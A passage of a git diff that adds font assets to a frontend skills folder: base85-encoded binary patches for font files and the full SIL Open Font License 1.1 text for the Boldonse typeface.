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 AY5)KL literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Boldonse-OFL.txt b/skills/frontend-dev/canvas-fonts/Boldonse-OFL.txt new file mode 100644 index 0000000..1890cb1 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/Boldonse-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/Boldonse-Regular.ttf b/skills/frontend-dev/canvas-fonts/Boldonse-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..43fa30affce39b3649e6e94122fbe17cc5536dd2 GIT binary patch literal 77168 zcmbS!2VfIN*8j}zYE>*tmgL@0aktzn*nn}NcT;SdEo@VQDKRFH&IL#@>B%Le9H|HS z(oTjHl1o1>3CV>ExrA^DX}(lQE+&Ob!}|Z;tR$O~`||y@{>{$5nVs_H&6_u~vunl~ zV>UPniyBwoFgE6R%qqrYFQ}i6n?9}a+wT%{87sM+vE04m8fVu|zI2<BG3)D$>6)fB z78GxJZC({){7%GgZCmME^J&AJpBRgnj088gozv}1H`$XJlMu{0m#kU3a&dm(LdMds zWz1q;>RY=8^eEhqILxrL^V}s5b}X<n*3!z@e#^2BUwi(Azsp1TGK7~e10nJzQx>l4 zah<koW%q_T>7G9_76Y2<?_AyHGk^5H9(hNj4)a#}Hms3XT7O3TG{kqV@~!M>^;~iV zV|wH(A6~P1ZTFqUYmyjCI>eaq(KTHiYv%QSfci+Ci2pR>j0XbDiZkO6vLBhAT?IZ# ztduQ*kFjGGGm|M6xY0j=G!3%@ohSZosE|KL=#U@oCO!jWuSk$vtkvH$s}|>9?`~T` z5&!k>J<9`~1LcMawFZ}}#xnR6=`Z|RrbC%}q$XTX($0JlE9TTn;oqH%eO<$x6GMcl z)224C=a}<nomMurhQH!u>;?*#mnb`Ma-#JA+b^DpL-EsHj19a$=wlz@c$>XVX({)M z&^ML)1IOWC6F5HbrgkTbSNu{VFo8|l!(N`*)XVwR&3^ubff-oanqH=_eT3yE$t;Jw zj~6OVgIzD1w5w7nOHI&;D^u-L<{Cqd@*D~sfzZg>r&x_R==uq&N_}q{zkEiMzvl8L zx^A!U&7$i)2Br~MeREQ8CXt>rY-C)ixx8(bh=~CDJzgxi)o7h;$=SmLTl~sZy%MY6 zt!r0VJqaAzPhyrJ!ybV@2^14xX3=otSSH+TmIK$zs^N}eli*Il!Pzt%oXueK;V#6% zSqr-W?nUe}xL2@i;oivZf_o3U7w!)BC%C=rQMiw@J#e4I!6B8;!hN2-3imY}oc$dK zX9w83aNozl(JChx=j$OiB%Rd8=pSfp>T42{5b`@zW(&WDMIc<_m+(!X(;cAGkH0A; zNa<3MG*X%%&6a%9O6go_i}aE_Nq$*=Q~pr?QvN|vlp1BSGE2Erc~yB^`Iqvw^0Q8_ zbLfWYa&;BDg}RS)U+I2Sb*fFRQZH1mQ14d1P`}r6eWX4?pRO;`kJL}lU!uQS|Gxf+ z!C;6sWEhGK^@g(zKN;JMtBvOyFEid?GMQpcZd1N#glVj4rfHGsKM``oU(F8lQu9}l zlOvlV+auRlES5w|hNajt$}-XNH_KPnRBMj4+*)hhXuZ<9&3doZZ+*)8vh_{tr`B(* z15tHR2cq7K`XcIk8@F}ap0@3?y=D8z_LV)+o?$PxkFvk!*y6a(@dwBMI39I8?|9Ae 